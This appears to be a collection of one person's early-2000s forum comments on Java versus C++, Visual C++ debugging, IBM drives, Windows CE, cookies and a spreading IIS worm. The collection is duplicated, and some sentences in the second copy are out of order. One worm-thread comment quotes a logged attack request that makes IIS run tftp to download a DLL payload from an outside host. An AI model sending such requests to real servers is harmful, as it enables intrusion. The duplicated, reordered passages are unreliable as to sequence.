This and other articles recently about WLAN's have me wondering about how much spectrum there is available for WLAN. If you used nothing but WLAN (no ordinary LAN's) in a downtown office area of a major city, would that cause big problems? What can be done and what have been done to work around this?
Cool! Thanks for the explanation. I write C++ for a living but I code a lot of Java for fun & for tools. To me, the cross platformedness from the COMPILED code isn't important at all. It's nice, sure, but the more imporant thing is that the language is great and that the source code is portable. The extra compilation is no big deal. If Java2 apps would run on.NET - and be faster - I believe that would be a pretty important thing for Microsoft. I wouldn't be surprised if it turned out that 3 years from now, Java is the most popular language to write.NET stuff with. I don't see how this would be bad for Microsoft...
Yeah yeah, J#, GNU# ha-ha. We've heard all the jokes and M$ spelling already. Now can someone please explain what J# actually DOES cause the Microsoft site doesn't seem to explain this. Does it operate on compiled bytecode? Does it translate the source code? To what language? C#? The site says that J# "improves the interoperability of Java-language programs with existing software written in a variety of other programming languages". That doesn't sound like just a migration tool to me. Also if it's just a migration tool, the name is pretty misleading since most people assume it's a language (C#, J#,...)
Later in the "article", it says that J# INCLUDES technology that enables customers to migrate Java stuff to.NET. But I still get the impression that J# is more than just a migration tool.
Having said all this, I don't see that there would be a big need for this.. Most Java developers and companies using Java are using Sun's VM's and technology and won't be migrating to.NET. Most Visual J++ developers were writing Windows-only, client apps - not server side stuff, so I don't see that they would benefit from this either.
I don't know.. I just came back from Japan and the Sharp Zaurus is the PDA that had sold the most there. I personally didn't like the slide out keyboard all that much, but I must say that on a whole, it's a very nice device. Tao's Java VM and media API's are very good indeed, so this really has some potential!
On a slightly unrelated note, bluetooth was *everywhere*. This truly amazed me. Just about every device and manufacturer had shitloads of bluetooth stuff!! It seems the reports of its death are greatly exaggerated, at least over there!
Why complain? Why not just simply not upgrade or switch to Linux. Everyone on Slashdot seems totally convinced that Linux is not only a replacement for Windows but actually technically superrior and on top of all free. Instead of crying to the government, why not just vote with your wallet?
Does anyone have more information about the IE5 part of this? How does it spread? What exactly spreads? How do you find out if you are infected and does this also work for IE5.5 and IE6 or is it only IE5.0x?
Hmmmm... I don't have/c/winnt/system32/cmd.exe and I still got the tftp requests a few times. My server is immune to these attacks.. I just think it comes a bit delayed or something.
Nope.. I'm not bullshitting. I doubt it's a difference in logging either, cause I'm getting pretty much the same stuff you're getting too, but every now and then, the FTP rows. I even tried to FTP to that IP and I got in with an anonymous login! I'm Finland, for your reference..
Maybe it's a different strain of the same thing? It started today, and I haven't gotten ANY code red since this started.
Yeah.. While I'm on Win2K and running a web server, it would never occur to me to run IIS. My logs are totally filled up with traces of this new worm. The logs also include lines such as this (IP censored).
On the upside, I haven't had a single hit by Code Red in the past hour or so! Let's hope this one is nasty enough to get the people to finally shut down / fix their boxes!
"Advantage? If people did what you're suggesting, C would probably be a more productive language to program in! I mean, c'mon! You have to re-implement basic functionality to get decent performance?"
I think you misunderstood. I just meant that Java itself isn't slow. It's the class libraries - like the String class - that are the cause of most of the slowdown in your average application. If you are writing a large scale app, implementing a fast string class is completely trivial. If that gets your speed up to Perl & C levels for string handling (which it would), then it's well worth it.
For most people and most tasks, even String and in particular StringBuffer is fast enough already.
Personally I find Java's string manipulation really nice API wise.. but that's just me, and I remember that I loathed it at first since it was object oriented string manipulation. Oh well..:)
Sometimes, I cannot believe the silly fights I see here on Slashdot. I'm a software engineer myself and I use both Java and C++, but for different purposes.
At work, we write cross platform C++ code for a large number of platforms in a pretty large scale project. This is amazingly straight forward given a strict set of rules that everyone has to follow, but it also requires that you constantly test on all these platforms. The actual product that we are working on, is C++, like I said, and it would never even occur to us to write it in Java. Even if Java would be 80% as fast as C/C++, we wouldn't use it, because we want all the speed we can get. (yes, some of our inner loops are optimized in assembler - separately for every CPU that we support)
However.. In order to be able to compile and test on all platforms, we needed a tool so that every engineer could just press a button and have the code compile and test on platform X. To enable this, we built a tool in Java, that checks out code from CVS, compiles it, and sends logs to a server where you can view the build logs with a web interface. From the same server, you can also initiate the compilation remotely on any one of the client machines (one per target platform) that are running the tool. This whole system is coded in Java, and just like would never occur to us to code the actual product in C++, it would never occur to us to code this tool in anything other than Java.
It seems like everyone here is trying to prove that one particular language is best for all tasks. Guess what - that's not true. I see C zealots try to prove how slow Java is. Well, it's actually way faster than many believe. I see silly proofs that try to show that Java is slow by using benchmark apps that do string manipulation with String objects. If you write your own strcat, strcmp, strstr etc. in Java and use byte arrays, you'll find that string manipulation is about 70-85% as fast as in plain C - and that's fast enough for just about any purpose you can think of. Of course your productivity advantage is now gone.
Just use whatever you feel comfortable with and whatever works for the application that you need to write. In most cases, you'll find that Java will be very nice forit. In other cases - like graphics and game programming, C++ - used wisely - is your best choice. Some dislike OOP and want to use C instead... Whatever gets the job done for you! I don't see why everyone has to prove that Java is "damn slow" all the time. Obviously, it's fast enough, as evident by the fact that a few millions programmers use it every day for real life tasks.
One more thing about debugging in Visual C++.. When you have a complex inheritance chain for some object, you get an expandable tree right there in the watch window, that you can expand to see the values of member variables for each of the inherited object. Absolutely brilliant. It's hard to provide something this visual and intuitive in a command line.
This is a completely pointless war about something that everyone can just decide for themselves. Use whatever works best for you and you find most comfortable. That goes for operating system, development tools and everything else.
Personally, I code Java with nothing but a couple of command line shells, a bunch of scripts and a good text editor. I write even GUI code much faster that way and I have much more fine grained control over it. I have or less memorized the whole Java core API so I have no problems with doing it all by hand.
Then.. there's C++ and in particular, Windows (Win32 and WinCE/PocketPC) programming with Visual C++ and Embedded Visual C++. Here, I prefer the Visual C++ IDE because of a few things:
- When I write code, the IDE shows me what parameters each method takes. It shows me what methods and properties classes have as I'm writing, etc. When I write foo->, up pops a window where I can select and tab-complete the rest. When you learn to use this, you code MUCH faster. Also, you don't have to memorize the entire API with parameters and all, since the IDE helps you out.
- Debugging. You see the source code right there on the screen. You can step through it line at a time, step into methods that will automatically bring up that file and jump to the correct line.. Put the cursor over a variable and it shows its value. A good stack trace that you can click on to jump to that piece of code.. Drag and drop watches that allow you to write expressions right there in the watch window to figure out fixed point numbers to integers without a separate calculator.. etc. etc. etc.. For serious debugging, you can't beat a GUI imho.
- You still have cl, nmake, cvs etc. in the command line so if you want to work from a shell, just go ahead and continue from the project from there.
One more thing.. A lot of people under estimate the NT command line. I've seen people that are totally surprised that I have grep, tab completion, Perl etc. under NT / Windows 2000.
My advice is to not knock things until you've seriously tried it out and used it enough that you can actually form an objective opinion on it. I bet most people here who think Visual C++ / Visual Studio sucks have never even used it or just used it for something very very simple.
It's not a war. It's not about UNIX vs. Microsoft and all the political bullshit. Just pick the right tool for the right job and use whatever you find yourself most productive with.
Nope. No rough handling. Definitely not. I'm very careful with laptops - almost too careful. Most of the time, the laptop just sits on my living room table and I use it from the couch when I watch TV.. The few times I take it with me somewhere, I have it in a protective bag with soft cushioned sides and I'm very careful not to bang it anywhere and I make damn sure the drive has spinned down and is "parked" before I move the laptop.. That's why it pisses me off that I've had 2 drives fail within a year from buying the laptop. Oh well..
I have pretty mixed feelings about IBM.. I bought an IBM laptop (390) about a 18 months ago and within 2 months, the hard drive failed. I got it replaced on warranty but half a year later, it failed again. Meanwhile, I had bought an IBM hard drive for my desktop computer, and a few months ago, that one failed too. So three IBM drives in just over one year. I know I've had extremely bad luck, but with an experience like this, you can understand that I won't recommend IBM laptops and/or drives to anyone. Well, the laptops themselves are *very* nice, but the hard drives....:/
The most ironic thing is that I bought an HP 6000 Omnibook to replace my IBM laptop about half a year ago, and guess who the maker of the hard drive in it is; IBM. DOH! If that one fails within a year or two, I'll never buy IBM again.
How does *Microsoft* force you to enable cookies to view *Starbucks*?! Cookies were invented by Netscape anyway, you know, and there's absolutely nothing unsafe or strange about them despite all the FUD.
A cookie set by a server can only be read by that same server. The exact same effect can be done by URL rewriting (adding a token to each url.. as in../something.php3 becomes/something.php3?youAre=dude123 and every link adds that ?youAre=dude123 part to it. You can now be identified between link clicks. 99% of all cookies are simply used for session tracking. Only idiots programmers would actually store any DATA of relevance in them (like a credit card number, home address etc.)
First of all, the article didn't say WHY the 2000 (out of 58000) Internet cafés had been shut down. For all we know, it could be because they used pirated software.
Second, the CNN article says:
"China's laws broadly ban "socially destabilizing content," breaches of public security, "divulging state secrets" and Internet pornography."
How is that different from the.. say.. US laws? Nazi propaganda is socially destabilizing content and is forbidded in many western countries. Communism was considered destabilizing content and was forbidded in the USA for many years. etc. etc.
Third:
"Authorities closely monitor Web site content in search for buzzwords such as Taiwan, Tibet and the banned spiritual group Falun Gong, Web executives say."
Yeah? Well, the Echolon system and the NSA and CIA closely monitor *ALL* electronic traffic in search for buzzwords such as bomb, C4, Bill Clinton etc.
Could we get a little less US propaganda in the news and a little more of the ACTUAL facts. I'd like to know FACTS about why these Internet cafés were shut down. I don't doubt that it had to do with censorship but I didn't see any facts in the story.
That's the silliest thing I've heard in a long time. Windows CE dead?!
Microsoft is working on Win CE 4.0 (Talisker) and Pocket PC 4.0 (Merlin), which is based on Win CE 4.0, and will most likely have those released and on new shipping devices by September. Just about every new handheld, and cellphone-PDA-combo device is based on Pocket PC and the trend is just more and more in Win CE's favor as we move forward. There's only ONE device released on EPOC 6.x so far - the Nokia 9210 - and it sucks compared to the Siemens GSM-phone & PDA combo device. And don't even mention Palm OS... Psion is out of the handheld market so if an OS is on its way out, it's EPOC.. and.. well.. Palm OS.
So THAT's what it is.. Starting around 3 hours ago, my home desktop machine has been getting about 50 of those. One very 3 minutes or so.. And my machine is just on a random ADSL IP. This thing must have spread REALLY wide!
This and other articles recently about WLAN's have me wondering about how much spectrum there is available for WLAN. If you used nothing but WLAN (no ordinary LAN's) in a downtown office area of a major city, would that cause big problems? What can be done and what have been done to work around this?
Cool! Thanks for the explanation. I write C++ for a living but I code a lot of Java for fun & for tools. To me, the cross platformedness from the COMPILED code isn't important at all. It's nice, sure, but the more imporant thing is that the language is great and that the source code is portable. The extra compilation is no big deal. If Java2 apps would run on .NET - and be faster - I believe that would be a pretty important thing for Microsoft. I wouldn't be surprised if it turned out that 3 years from now, Java is the most popular language to write .NET stuff with. I don't see how this would be bad for Microsoft...
Yeah yeah, J#, GNU# ha-ha. We've heard all the jokes and M$ spelling already. Now can someone please explain what J# actually DOES cause the Microsoft site doesn't seem to explain this. Does it operate on compiled bytecode? Does it translate the source code? To what language? C#? The site says that J# "improves the interoperability of Java-language programs with existing software written in a variety of other programming languages". That doesn't sound like just a migration tool to me. Also if it's just a migration tool, the name is pretty misleading since most people assume it's a language (C#, J#, ...)
.NET. But I still get the impression that J# is more than just a migration tool.
.NET. Most Visual J++ developers were writing Windows-only, client apps - not server side stuff, so I don't see that they would benefit from this either.
Later in the "article", it says that J# INCLUDES technology that enables customers to migrate Java stuff to
Having said all this, I don't see that there would be a big need for this.. Most Java developers and companies using Java are using Sun's VM's and technology and won't be migrating to
Can someone enlighten me?
Let's see..
I'd pick IE over Netscape (or any other browser) ANY day of the week.
I'd pick MS Office over Star Office.
I'd pick Netscape over Outlook.
I'd pick WinZip over Windows CAB's.
I'd pick Visual C++ over Power++, Borland, GCC etc.
I'd pick WinAmp & QuickTime & Real over Windows Media Player.
I'd also - currently - pick Windows 2000 over Linux, for use both at home and at work.
It's not that easy. Microsoft has some good software. They have some bad software. They have some absolutely HORRIBLE software too..
I don't know.. I just came back from Japan and the Sharp Zaurus is the PDA that had sold the most there. I personally didn't like the slide out keyboard all that much, but I must say that on a whole, it's a very nice device. Tao's Java VM and media API's are very good indeed, so this really has some potential!
On a slightly unrelated note, bluetooth was *everywhere*. This truly amazed me. Just about every device and manufacturer had shitloads of bluetooth stuff!! It seems the reports of its death are greatly exaggerated, at least over there!
Why complain? Why not just simply not upgrade or switch to Linux. Everyone on Slashdot seems totally convinced that Linux is not only a replacement for Windows but actually technically superrior and on top of all free. Instead of crying to the government, why not just vote with your wallet?
Does anyone have more information about the IE5 part of this? How does it spread? What exactly spreads? How do you find out if you are infected and does this also work for IE5.5 and IE6 or is it only IE5.0x?
Hmmmm... I don't have /c/winnt/system32/cmd.exe and I still got the tftp requests a few times. My server is immune to these attacks.. I just think it comes a bit delayed or something.
Well, it's not as common it seems. Has anyone else seen it?
Nope.. I'm not bullshitting. I doubt it's a difference in logging either, cause I'm getting pretty much the same stuff you're getting too, but every now and then, the FTP rows. I even tried to FTP to that IP and I got in with an anonymous login! I'm Finland, for your reference..
Maybe it's a different strain of the same thing? It started today, and I haven't gotten ANY code red since this started.
I'm running a self made (experimental) web server..
Yeah.. While I'm on Win2K and running a web server, it would never occur to me to run IIS. My logs are totally filled up with traces of this new worm. The logs also include lines such as this (IP censored).
/scripts/root.exe?/c+tftp%20-i%20212.163.x.x%20GET %20Admin.dll%20Admin.dll 212.163.x.x
GET
Interesting..
On the upside, I haven't had a single hit by Code Red in the past hour or so! Let's hope this one is nasty enough to get the people to finally shut down / fix their boxes!
"Advantage? If people did what you're suggesting, C would probably be a more productive language to program in! I mean, c'mon! You have to re-implement basic functionality to get decent performance?"
:)
I think you misunderstood. I just meant that Java itself isn't slow. It's the class libraries - like the String class - that are the cause of most of the slowdown in your average application. If you are writing a large scale app, implementing a fast string class is completely trivial. If that gets your speed up to Perl & C levels for string handling (which it would), then it's well worth it.
For most people and most tasks, even String and in particular StringBuffer is fast enough already.
Personally I find Java's string manipulation really nice API wise.. but that's just me, and I remember that I loathed it at first since it was object oriented string manipulation. Oh well..
Sometimes, I cannot believe the silly fights I see here on Slashdot. I'm a software engineer myself and I use both Java and C++, but for different purposes.
At work, we write cross platform C++ code for a large number of platforms in a pretty large scale project. This is amazingly straight forward given a strict set of rules that everyone has to follow, but it also requires that you constantly test on all these platforms. The actual product that we are working on, is C++, like I said, and it would never even occur to us to write it in Java. Even if Java would be 80% as fast as C/C++, we wouldn't use it, because we want all the speed we can get. (yes, some of our inner loops are optimized in assembler - separately for every CPU that we support)
However.. In order to be able to compile and test on all platforms, we needed a tool so that every engineer could just press a button and have the code compile and test on platform X. To enable this, we built a tool in Java, that checks out code from CVS, compiles it, and sends logs to a server where you can view the build logs with a web interface. From the same server, you can also initiate the compilation remotely on any one of the client machines (one per target platform) that are running the tool. This whole system is coded in Java, and just like would never occur to us to code the actual product in C++, it would never occur to us to code this tool in anything other than Java.
It seems like everyone here is trying to prove that one particular language is best for all tasks. Guess what - that's not true. I see C zealots try to prove how slow Java is. Well, it's actually way faster than many believe. I see silly proofs that try to show that Java is slow by using benchmark apps that do string manipulation with String objects. If you write your own strcat, strcmp, strstr etc. in Java and use byte arrays, you'll find that string manipulation is about 70-85% as fast as in plain C - and that's fast enough for just about any purpose you can think of. Of course your productivity advantage is now gone.
Just use whatever you feel comfortable with and whatever works for the application that you need to write. In most cases, you'll find that Java will be very nice forit. In other cases - like graphics and game programming, C++ - used wisely - is your best choice. Some dislike OOP and want to use C instead... Whatever gets the job done for you! I don't see why everyone has to prove that Java is "damn slow" all the time. Obviously, it's fast enough, as evident by the fact that a few millions programmers use it every day for real life tasks.
Yes. Microsoft donated $10 million.
"Firstly, how do you view the contents of an array in Visual C++?"
:)
Well, you can write in foo[5] in the watch window.
"And secondly, how the hell do I call a function from the debugger?"
Why would you want to do it while running the app?
One more thing about debugging in Visual C++.. When you have a complex inheritance chain for some object, you get an expandable tree right there in the watch window, that you can expand to see the values of member variables for each of the inherited object. Absolutely brilliant. It's hard to provide something this visual and intuitive in a command line.
This is a completely pointless war about something that everyone can just decide for themselves. Use whatever works best for you and you find most comfortable. That goes for operating system, development tools and everything else.
Personally, I code Java with nothing but a couple of command line shells, a bunch of scripts and a good text editor. I write even GUI code much faster that way and I have much more fine grained control over it. I have or less memorized the whole Java core API so I have no problems with doing it all by hand.
Then.. there's C++ and in particular, Windows (Win32 and WinCE/PocketPC) programming with Visual C++ and Embedded Visual C++. Here, I prefer the Visual C++ IDE because of a few things:
- When I write code, the IDE shows me what parameters each method takes. It shows me what methods and properties classes have as I'm writing, etc. When I write foo->, up pops a window where I can select and tab-complete the rest. When you learn to use this, you code MUCH faster. Also, you don't have to memorize the entire API with parameters and all, since the IDE helps you out.
- Debugging. You see the source code right there on the screen. You can step through it line at a time, step into methods that will automatically bring up that file and jump to the correct line.. Put the cursor over a variable and it shows its value. A good stack trace that you can click on to jump to that piece of code.. Drag and drop watches that allow you to write expressions right there in the watch window to figure out fixed point numbers to integers without a separate calculator.. etc. etc. etc.. For serious debugging, you can't beat a GUI imho.
- You still have cl, nmake, cvs etc. in the command line so if you want to work from a shell, just go ahead and continue from the project from there.
One more thing.. A lot of people under estimate the NT command line. I've seen people that are totally surprised that I have grep, tab completion, Perl etc. under NT / Windows 2000.
My advice is to not knock things until you've seriously tried it out and used it enough that you can actually form an objective opinion on it. I bet most people here who think Visual C++ / Visual Studio sucks have never even used it or just used it for something very very simple.
It's not a war. It's not about UNIX vs. Microsoft and all the political bullshit. Just pick the right tool for the right job and use whatever you find yourself most productive with.
Nope. No rough handling. Definitely not. I'm very careful with laptops - almost too careful. Most of the time, the laptop just sits on my living room table and I use it from the couch when I watch TV.. The few times I take it with me somewhere, I have it in a protective bag with soft cushioned sides and I'm very careful not to bang it anywhere and I make damn sure the drive has spinned down and is "parked" before I move the laptop.. That's why it pisses me off that I've had 2 drives fail within a year from buying the laptop. Oh well..
I have pretty mixed feelings about IBM.. I bought an IBM laptop (390) about a 18 months ago and within 2 months, the hard drive failed. I got it replaced on warranty but half a year later, it failed again. Meanwhile, I had bought an IBM hard drive for my desktop computer, and a few months ago, that one failed too. So three IBM drives in just over one year. I know I've had extremely bad luck, but with an experience like this, you can understand that I won't recommend IBM laptops and/or drives to anyone. Well, the laptops themselves are *very* nice, but the hard drives.... :/
The most ironic thing is that I bought an HP 6000 Omnibook to replace my IBM laptop about half a year ago, and guess who the maker of the hard drive in it is; IBM. DOH! If that one fails within a year or two, I'll never buy IBM again.
How does *Microsoft* force you to enable cookies to view *Starbucks*?! Cookies were invented by Netscape anyway, you know, and there's absolutely nothing unsafe or strange about them despite all the FUD.
/something.php3 becomes /something.php3?youAre=dude123 and every link adds that ?youAre=dude123 part to it. You can now be identified between link clicks. 99% of all cookies are simply used for session tracking. Only idiots programmers would actually store any DATA of relevance in them (like a credit card number, home address etc.)
A cookie set by a server can only be read by that same server. The exact same effect can be done by URL rewriting (adding a token to each url.. as in..
First of all, the article didn't say WHY the 2000 (out of 58000) Internet cafés had been shut down. For all we know, it could be because they used pirated software.
Second, the CNN article says:
"China's laws broadly ban "socially destabilizing content," breaches of public security, "divulging state secrets" and Internet pornography."
How is that different from the.. say.. US laws? Nazi propaganda is socially destabilizing content and is forbidded in many western countries. Communism was considered destabilizing content and was forbidded in the USA for many years. etc. etc.
Third:
"Authorities closely monitor Web site content in search for buzzwords such as Taiwan, Tibet and the banned spiritual group Falun Gong, Web executives say."
Yeah? Well, the Echolon system and the NSA and CIA closely monitor *ALL* electronic traffic in search for buzzwords such as bomb, C4, Bill Clinton etc.
Could we get a little less US propaganda in the news and a little more of the ACTUAL facts. I'd like to know FACTS about why these Internet cafés were shut down. I don't doubt that it had to do with censorship but I didn't see any facts in the story.
Yes, and Java 2, standard edition SDK 1.4 is codenamed Merlin too..
:)
Not that Open Source is that great at innovating with names either; Killustrator comes to mind..
That's the silliest thing I've heard in a long time. Windows CE dead?!
Microsoft is working on Win CE 4.0 (Talisker) and Pocket PC 4.0 (Merlin), which is based on Win CE 4.0, and will most likely have those released and on new shipping devices by September. Just about every new handheld, and cellphone-PDA-combo device is based on Pocket PC and the trend is just more and more in Win CE's favor as we move forward. There's only ONE device released on EPOC 6.x so far - the Nokia 9210 - and it sucks compared to the Siemens GSM-phone & PDA combo device. And don't even mention Palm OS... Psion is out of the handheld market so if an OS is on its way out, it's EPOC.. and.. well.. Palm OS.
Windows CE is more alive than ever!
So THAT's what it is.. Starting around 3 hours ago, my home desktop machine has been getting about 50 of those. One very 3 minutes or so.. And my machine is just on a random ADSL IP. This thing must have spread REALLY wide!